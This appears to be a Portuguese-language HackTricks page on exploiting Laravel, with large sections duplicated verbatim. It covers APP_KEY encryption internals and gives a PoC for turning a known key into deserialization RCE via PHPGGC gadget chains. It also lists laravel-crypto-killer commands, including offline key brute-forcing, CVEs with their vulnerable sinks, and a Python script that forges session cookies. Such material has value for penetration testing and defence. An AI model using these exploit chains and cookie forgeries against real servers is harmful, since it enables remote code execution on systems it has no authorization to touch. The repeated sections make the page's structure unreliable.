267 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Laravel
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQLInjection
Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6)
Laravel usa AES-256-CBC (ou GCM) com integridade HMAC nos bastidores (`Illuminate\\Encryption\\Encrypter`).
O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Injete a string produzida em qualquer ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão, ...).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo o processo e adiciona um modo **bruteforce** conveniente:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
O script suporta de forma transparente tanto cargas úteis CBC quanto GCM e regenera o campo HMAC/tag.
---
## Padrões vulneráveis do mundo real
| Projeto | Sink vulnerável | Cadeia de gadgets |
|---------|-----------------|-------------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
O fluxo de exploração é sempre:
1. Obter `APP_KEY` (exemplos padrão, vazamento do Git, vazamento de config/.env ou força bruta)
2. Gerar gadget com **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Entregar carga útil através do parâmetro/cookie vulnerável → **RCE**
---
## Descoberta em massa de APP_KEY via força bruta de cookies
Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners de internet pública (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline.
Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025):
* Conjunto de dados julho de 2024 » 580 k tokens, **3,99 % chaves quebradas** (≈23 k)
* Conjunto de dados maio de 2025 » 625 k tokens, **3,56 % chaves quebradas**
* >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados.
* Grande reutilização de chaves as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
---
## Referências
* [Laravel: análise de vazamento de APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC Cadeias de Gadgets Genéricos PHP](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Truques do Laravel
### Modo de depuração
Se o Laravel estiver em **modo de depuração**, você poderá acessar o **código** e **dados sensíveis**.\
Por exemplo `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Isso geralmente é necessário para explorar outros CVEs de RCE do Laravel.
### .env
O Laravel salva o APP que usa para criptografar os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando alguma travessia de caminho em: `/../.env`
O Laravel também mostrará essas informações na página de depuração (que aparece quando o Laravel encontra um erro e está ativado).
Usando o APP_KEY secreto do Laravel, você pode descriptografar e recriptografar cookies:
### Descriptografar Cookie
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Aqui você pode encontrar informações sobre a vulnerabilidade de desserialização aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Você pode testar e explorar usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ou você também pode explorá-lo com metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Outra desserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6)
Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`).
O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Injete a string produzida em qualquer ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão, ...).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo o processo e adiciona um modo **bruteforce** conveniente:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
O script suporta de forma transparente tanto cargas úteis CBC quanto GCM e regenera o campo HMAC/tag.
---
## Padrões vulneráveis do mundo real
| Projeto | Ponto vulnerável | Cadeia de gadgets |
|---------|------------------|-------------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
O fluxo de exploração é sempre:
1. Obter `APP_KEY` (exemplos padrão, vazamento do Git, vazamento de config/.env ou força bruta)
2. Gerar gadget com **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Entregar carga útil através do parâmetro/cookie vulnerável → **RCE**
---
## Descoberta em massa de APP_KEY via força bruta de cookies
Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners de internet pública (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline.
Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025):
* Conjunto de dados julho de 2024 » 580 k tokens, **3,99 % chaves quebradas** (≈23 k)
* Conjunto de dados maio de 2025 » 625 k tokens, **3,56 % chaves quebradas**
* >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados.
* Grande reutilização de chaves as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
---
## Referências
* [Laravel: análise de vazamento de APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC Cadeias de Gadgets Genéricos PHP](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}